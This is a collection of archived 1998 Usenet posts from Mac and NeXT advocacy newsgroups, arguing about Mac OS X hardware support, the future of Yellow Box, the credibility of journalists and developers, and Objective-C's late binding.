Again, the strange mentality that you "deserve" something or that Apple
owes you something for your "loyalty." You are a consumer, man, not a
religious acolyte! OS software has *always* been a moving target on any
platform. And the truth is, all of your complaints are totally in vain,
because Mac OS Server 1.0 *will* run on your hardware! Mac OS X will not,
and Mac OS Server 2.0 (if there ever is such a thing) probably will not,
but Rhapsody, regardless of name change, will run on any PCI PowerMac with
an Apple motherboard.
> > I've paid money to stay on the cutting edge, and so will everyone else who
> > really wants and needs the capabilities of an OS like Mac OS X. Why do
> > people babble about "protected memory" like they have some inalienable
> > right to it--like Apple "owes" them this capability for free? Have any of
> > them priced NT Server?
>
> Fair enough. Last year's boxes aren't cutting edge this year, thus
> they don't deserve an advanced OS such as Rha.. I mean Mac OS X. I'm
> looking forward to dumping this machine ASAP and from now on getting a
> new machine from Apple every year. Like a clockwork. Right.
An attempt at sarcasm that does you no service, because you are
deliberately misunderstanding the proposition. The box you bought last
year will be THREE YEARS OLD by the time Mac OX X comes out. Three years
in computers is close to ten years in the real world, my friend. You can't
even begin to imagine the hardware you are going to have available to
purchase three years from now. Did anyone who dropped $4000 on a loaded
8100 imagine that a machine would quadruple its performance for $2000 less
in less than 2 years? I fully expect the G3 and G4 systems available the
year Mac OS X comes out to be four to eight times as fast as the current
G3 machines and just as cheap. What will your excuse for not upgrading be
then?
> And silly me for not only expecting to get Rha... Mac OS X running on
> my year-old machine, but also for expecting to get it for free.
No, that wasn't silly.
It was stupid.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com> <6od8gt$t0j$1@apakabar.cc.columbia.edu> <MPG.10145c959cb2eb25989990@news.supernews.com> <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <35abd2e2.0@news.depaul.edu>
Date: 14 Jul 98 21:51:30 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> On Mon, 13 Jul 1998 19:04:41 -0500, Donald Brown <don.brown@cesoft.com> wrote:
> :Here's what I would need before I even care about how great it is:
> :
> :Statements from Apple that would convince me that YellowBox for Windows
> :has a future.
> It's in the Rhapsody FAQ, I believe.
The Rhapsody FAQ also describes OpenType as 'a way of displaying
Postscript fonts on Windows' or some such, an assertion that
was ridiculed by noted typographer Zuzana Licko of Emigre.
I'm not inclined to use the Rhapsody FAQ as a definitive
source of information.
--
"... and subpoenas for all." - Ken Starr
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 17:05:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ABD621.669B3BEE@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk>
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Stan The Man wrote:
> As I understood it at the time, based on correspondence with Mr Norr, the
> primary reason for the parting of the waves was that MacWeek wanted all
> their stories to be heavily pro-Apple while Mr Norr wanted to tell the
> truth as he saw it, warts 'n' all.
This is exactly the impression I got from speaking to Mr Norr in private
correspondence.
> This conflict in idealogies - between evangelism and honest journalism -
> became intolerable for Mr Norr, albeit he surely wants Apple to succeed as
> much as the next man.
All of which underscores an earlier point regarding bias. To recap, both
MacWEEK and Scott Anguish have a strong economic incentive to report
that all is well at Apple. The fact that both act positively on this
incentive to the detriment of honesty is the reason I have little
respect for either.
Scott Anguish is an advocate. Henry Norr is a journalist. Which would
explain why one posts to CSNA, and the other doesn't. I hope this
answers your question, Scott, regarding why anyone listens to Henry Norr
(and the implicit question regarding why many fewer people listen to
you).
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 15:21:32 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1407981521320001@sdn-ar-001casbarp120.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <rmcassid-1307981232230001@dante.eng.uci.edu>
In article <rmcassid-1307981232230001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> That is the key statement. Apple will not 'support' (in quotes for a
> reason) pre G3 hardware, and will not promise that it will run there
> ('theoretically by luck'). But at the same time, it appears that they will
> not prevent you from trying on any daughtercard upgradable Apple branded
> hardware.
So you are saying the installer WONT have a gestalt check for those
unsupported machines? They should do it like openstep: they have a list
of supported devices. If you want to run os x you will have to make sure
your machine has the right devices (as well as a motherboard that is
similiar enough to a g3)
--
So many pedestrians, so little time.
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
Date: Wed, 15 Jul 1998 00:41:27 +0100
Organization: DIKU
Message-ID: <1dc6mg3.1t2ahlfvn6kejN@ip70.albnxr1.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
taiQ <pit@iohk.SPAM-NOT.com> wrote:
> I'm looking forward to dumping this machine ASAP and from now on getting a
> new machine from Apple every year. Like a clockwork. Right.
Never buy a new machine in order to let it run vaporware.
Wait until the vaproware has become solidware :-).
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 22:22:40 GMT
Organization: Digital Fix Development
Message-ID: <6oglng$ft8$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net>
In-Reply-To: <joe.ragosta-1407981635580001@wil37.dol.net>
On 07/14/98, Joe Ragosta wrote:
>In article <35abb32c.0@news.depaul.edu>, Jonathan W Hendry
><jhendry@shrike.depaul.edu> wrote:
>
>> In comp.sys.next.advocacy Don Yacktman <don@misckit.com> wrote:
>>
>> > Are you NOT aware that Jobs is one of Scott's information
sources?
>>
>> >Now, whether or not Jobs tells truth or lies to Scott is certainly
worthy of
>> >speculation, but Scott's sources are very high up at Apple,
including
>as high
>> >up as Jobs himself in some cases.
>>
>> It would be nice if someone would pass along to these sources that
>> a free, Appkit-less, PDO-like YellowBox/Windows runtime would be a
>> very good idea.
>
>There's probably no one better than Scott to pass this information
along.
>
>So stay on his good side. ;-)
Jon and I are pals.. :-)
What he's describing sounds like Foundation though...
The YB runtime issues lie squarely in the realm of Adobe and
to a lesser extent the Unisys LZW patent.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 22:24:54 GMT
Organization: Digital Fix Development
Message-ID: <6oglrm$g1d$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <not-1407981437080001@1-58.phx.psn.net>
In-Reply-To: <not-1407981437080001@1-58.phx.psn.net>
On 07/14/98, Michael M. Eilers wrote:
>In article <6oga6q$iv$1@news.xmission.com>, don@misckit.com wrote:
>
>> Are you NOT aware that Jobs is one of Scott's information sources?
>>
>> Now, whether or not Jobs tells truth or lies to Scott is certainly
worthy of
>> speculation, but Scott's sources are very high up at Apple,
including as high
>> up as Jobs himself in some cases.
>
>I'm also aware, as others have pointed out on this thread, that Scott
is a
>NeXT and potential Yellow Box developer, which most certainly gices
him a
>bias in this discussion. A bias that Mr. Norr does not share. A bias
that
>effectively counts Scott out as a reliable source.
No, Mr Norr has a demonstratable Anti-YB bias. Did anyone
notice that Macintouch was the only site to claim that Rhapsody 1.0
was going to ship LATE this year, not late this quarter.
Norr got pissed when Rhapsody DR1 wouldn't install on his PC
using an Adaptec 2940UW card (the MAC version).
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 22:28:02 GMT
Organization: Digital Fix Development
Message-ID: <6ogm1i$g1e$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net>
In-Reply-To: <not-1407981518530001@2-79.phx.psn.net>
On 07/14/98, Michael M. Eilers wrote:
<snip>
>> You're a twit. I've published for the OpenStep/Rhapsody
>> community for more than 4 years now. Longer than Apple has had a
web
>> site period.
>
>Oh, you sure slammed that point home.
Oh, thats a riot.
You claim that because Norr has a web audience that he's
credible.
I explain that my web site and audience has been around longer
and suddenly I'm a "bitter, shafted developer".
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: doylep@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Tue, 14 Jul 1998 22:41:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ogmq6$5dp$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net>
In article <6o32eu$ljg1@odie.mcleod.net>,
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>
> Objective-C postpones binding until runtime. C++ by specification has bound
> all member function invocations at link time. If you do not know what the
> advantages of LATE binding are, I suggest further investigation. Binding
> time has little or no impact of code maintainability except the positive
> impact derived from fewer classes and simpler design.
I'm not sure I understand. C++ virtual functions are not bound to an
implementation until runtime. What is the difference between this and the
late binding you are referring to?
-PD
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 22:40:28 GMT
Organization: University of Washington, Seattle
Message-ID: <6ogmos$e6i$1@nntp6.u.washington.edu>
References: <6odhav$6iu$1@server.signat.org> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net>
NNTP-Posting-User: gwangung
>So tell us again, why should we listen to you over Mr. Norr? Biased,
>bitter developer who got the shaft vs. objective journalist's opnion?
Ooooohhhh.....I wouldn't use the "J" word these days...Given the
absolutely horrid performance of the media and journalists these days,
it's not a very strong argument.
Might do better pointing out his record over the past few years
and how he's done well....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 18:28:29 -0500
Organization: Prairie Group
Message-ID: <MPG.1015a5863171cc9b98999a@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com> <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> I'm not asking for official approval. I'm asking for serious
> consideration. Apple apparently refuses to do either. A commitment by
> Apple to support these machines would be nice if it is reasonable to do
> so. I don't want Apple to commit to this unless it thinks it can actually
> pull it off. I've seen no particular evidence that anybody at Apple has
> even really thought about it. Maybe they have, but they've not told
> us anything about it.
>
This is the number two statement I'm going to strongly object to. (The
number one statement being "There wouldn't be any extra cost to
supporting the older machines, it's just an arbitrary way to screw the
customers.")
Unfortunately I can only give you my word on this, but these issues have
come under serious consideration by Apple. They were aware of the
problems they would have if they didn't support the older machines
(though somewhat underestimated the vehemance of the response). They're
well aware of the money available by selling to the older machines. This
decision was the result of protracted discussions and debate within Apple
(and it still goes on to some degree).
As a private corporation, their meetings are not held in public. You are
not invited to the meetings we're having a Prairie Group about what
features to include in 1.1 nor will we be releasing transcripts of those
meetings. A corporation must make a decision and go with it.
You think it was the wrong decision. I urge you to keep pushing Apple so
they know the level of tradeoffs they are making. I have my doubts about
the position expressed by Avie.
The only two things I'm sure of are (1) There are tradeoffs involved
here, including the PCI machines have definite costs and risks to the
schedule, and (2) This decision was made after a great deal of discussion
and debate and consideration.
Donald
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 01:35:57 +0200
Organization: University of Bonn, Germany / www.joint.org
Message-ID: <1dc6b2u.6virir1luxgkvN@rhrz-isdn3-p26.rhrz.uni-bonn.de>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
> Contrast this with Microsoft. Bill Gates has a STABLE group
> of inner circle advisers (Steve Ballmer, Jeff Harbers, Jeff Raikes
> etc.) who he trusts to help him to make all of the decisions. BUT
> quite unlike at Apple where no one is driving the bus, GATES does
> make all of the decisions! Some decisions might be wrong (Bob?),
> but they stay the course.
To drive this point home, they have a long breath in making people
swallow what they produce.
Almost every product or technology that comes from Redmond is badly
designed, badly implemented, ugly and immature in version 1.0.
They sell some of it and fix some of the defects in the first
(commercial) upgrade. Some more people buy it now and version 3 is a
real success. Look at Windows itself. Do did know about 1.0?
Apple products usually only have time until 2.0 to be a hit until they
are shelved.
What really disappoints me is Apples "we only support our (price-)
pushed (low-end design) G3 systems" for Mac OS X.
They have support for 604 systems in Rhapsody right now. OK, they might
have to write new display drivers. How many? Three or so (internal, ATI,
TwinTurbo). No big deal, really.
I hope they will at least document everything to allow hackers to write
the missing drivers and so support the rest of the PCI machines.
My opinion only.
Regards,
Dirk
--
No RISC - No fun
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 14 Jul 1998 17:06:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D14061-60C40@206.165.43.216>
References: <35abb9e5.0@d2o103.telia.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Peter Bj=F8rn Perls=F8 <peter.perlso@ngg.dk> said:
>In article <B1CFE27C-C238@206.165.43.144> , "Lawson English"
><english@primenet.com> wrote:
>
>>I made one such argument. It is based on e-mail that a former Apple
>>engineer sent to me about 8 months ago where he asserted that the
kernel
>>used in Rhapsody wasn't able to host QuickTime properly. I'm sure
that he
>>didn't mean for playback, so I assume that he meant for high-end,
>>professional video creation.
>
>Why should the kernel not be suited for QuickTime?? QT is just
another
>set of processes that the kernel hosts - this is nonsense.
Maybe. But QT for professional video likely has all sorts of real-time
processing needs that Mac 2.5 couldn't handle. Will Mach 3.0 handle
them? Name a professional video production system based on Mach 3.0
[just asking as I don't know either way].
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Tue, 14 Jul 1998 20:30:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1407982030390001@elk70.dol.net>
References: <6oet38$1pvc$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu> <joe.ragosta-1407981314280001@wil86.dol.net> <6ogl9k$gb4$1@nntp6.u.washington.edu>
In article <6ogl9k$gb4$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> In article <joe.ragosta-1407981314280001@wil86.dol.net>,
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >A typical programmer probably costs Apple _at least_ $80 K when you factor
> >in overhead and benefits (probably much more than that).
>
> I though I've seen figures of two to two and a half times
> salary....
It depends on how you account for the overhead costs. There's no industry
standard.
Typically, a fully allocated cost will be 2 to 2.5 times salary. Many
companies use a smaller figure of around 1.5 to 2 times salary and include
the extra cost somewhere else.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 18:53:19 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1407981853200001@pm3a4.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>
In article <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > Let me ask you this George, how do you know OS 8.x will run carbon
tuned apps?
>
> Jobs, at his WWDC presentation in May, talked about Sonata (the next
major OS-8
> (9?) upgrade after Allegro). He said that it would contain an extension
> which would
> allow it to run Carbon-tuned apps -only without PMT and memory protection.
In other words, Apple said that it would. The very same Apple that said
that the NuBus PowerMacs would run the next generation OS Apple was going
to deliver. The same Apple that said that "all currently shipping" (at
the time the announcement was made) would run Rhapsody, which they've all
but killed.
Unfortunately, I cannot take Apple for anything it says. They've promised
so much and delivered so little.
Josh
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: Wed, 15 Jul 1998 00:41:30 +0100
Organization: DIKU
Message-ID: <1dc6mk3.1nobcty1v8blawN@ip70.albnxr1.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <6og3gt$eqq1@eccws1.dearborn.ford.com> <6oga89$cuc$1@lwnws01.ne.highway1.com> <6ogb4i$90f@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> Given that the underlying Mach kernel is expected to change by a major
> version level between 1.0 and 2.0, I am not surprised to learn that new
> device drivers might be required as a result.
But it changes to Mach 3 - already implemented for all NuBus and most
pre-G3 PCI Macintosh computers - ?
All the Macintosh computers able to run MkLinux.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 21:16:38 GMT
Organization: Digital Fix Development
Message-ID: <6oghrm$eqk$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odmus$fin@newsb.netnews.att.com> <35ABBB37.88352052@nospam.com>
In-Reply-To: <35ABBB37.88352052@nospam.com>
On 07/14/98, Tim Triemstra wrote:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>>
>> Tim Triemstra <nospam@nospam.com> wrote:
>> >
>> >So, is there anything in print or on an official web site
regarding
>> >Yellow Box that has been possitive or forward thinking - that has
been
>> >published since the Carbon announcement? I can't find anything,
and I
>> >think I would be a flaming idiot to program for Yellow until there
is
>> >something to hear.
>>
>> Well, http://developer.apple.com/rhapsody/, last updated July 10,
1998,
>>
>> says "Rhapsody includes a breakthrough software development
>> platform, code-named Yellow Box, for building new classes of
>> reliable, media-rich and cross platform applications."
>
>Kinda funny since that statement was there loooong before July 10.
That
>page doesn't look much different then it did many months ago. Also,
at
>the last WWDC didn't we hear alot of "no more 'box' codewords", yet
no
>new word for the YB API?
They Entire FAQ on the devworld site was updated less than a
month ago, and it all indicates that YB isn't going to be
disappearing.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 14:41:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ogj9c$cf1@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu>
Eric Hermanson <eric@alum.mit.edu> wrote:
: and download either Jad or Mocha/Jasmine, and watch them decompile all of your
: Java classes into source code in the blink of an eye. Watch them rename some
: methods, change some code around, and voila! They are shipping a competing
: product!
This is soooo old. If you're such an expert perhaps you could also list
the available encryptors which defeat the decompilers.
John
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 21:18:13 GMT
Organization: Digital Fix Development
Message-ID: <6oghul$eql$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odmus$fin@newsb.netnews.att.com> <6oe4t8$2ku$1@vixen.cso.uiuc.edu> <35ABBD3B.C76D8F4@nospam.com>
In-Reply-To: <35ABBD3B.C76D8F4@nospam.com>
On 07/14/98, Tim Triemstra wrote:
<snip>
>
>BTW: How come my PC version of DR2 never arrived? :) Neither did my
DR2
>for Windows...
Beats me... perhaps you should be calling Apple.
It is out, and works quite nicely thank you.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
e.ragosta
Xref: news.informatik.uni-muenchen.de comp.sys.next.advocacy:106304 comp.sys.mac.advocacy:392278 comp.sys.mac.system:291490
In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> x.psn.net>
>
> Michael M. Eilers (not@a.valid.email.add) wrote:
>
> : the idea of spending one dime more upgrading it. Computers cost money,
> : dammit! Anyone who has ever bought a computer and expected to never buy
> : one again is just plain ignorant in the extreme--as stupid as buying a car
> : and thinking the only expenses will be gas, oil, and air filters, and it
> : will last forever.
>
> This is an extremely poor analogy, one that does not do your cause
> credit. Keeping and maintaining a car for any length of time may
> cost money, but not the sort of money needed to get rid of the
> car every two years and buy a brand-new replacement. (At least,
> no sane person would do that...right?)
Well, my father used to drive a car into the ground about every 2.5 years,
but he was in sales and averaged 50 K miles per year. He doesn't qualify
as "sane"?
I think you're just seeing the difference between computers and cars.
That's one analogy that has been stretched way past the breaking point too
many times.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: embuck@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 21:49:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ogjoj$vnt$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <6oej43$n38$1@news.digifix.com>
In article <6oej43$n38$1@news.digifix.com>,
sanguish@digifix.com (Scott Anguish) wrote:
> On 07/13/98, "Michelle L. Buck" wrote:
> >
> >Tim Triemstra wrote in message <35AA8501.CF6AAF27@nospam.com>...
> >>1) Is ObjectiveC actually going to be a/the primary development
> >>environment for all "from scratch" programs by MacOS X's release?
> >>
> >Maybe, but probably NOT. Apple has not mentioned Objecive-C in
> public since
> >Steve Jobs took control. If YellowBox is mentioned at all it is in
> the
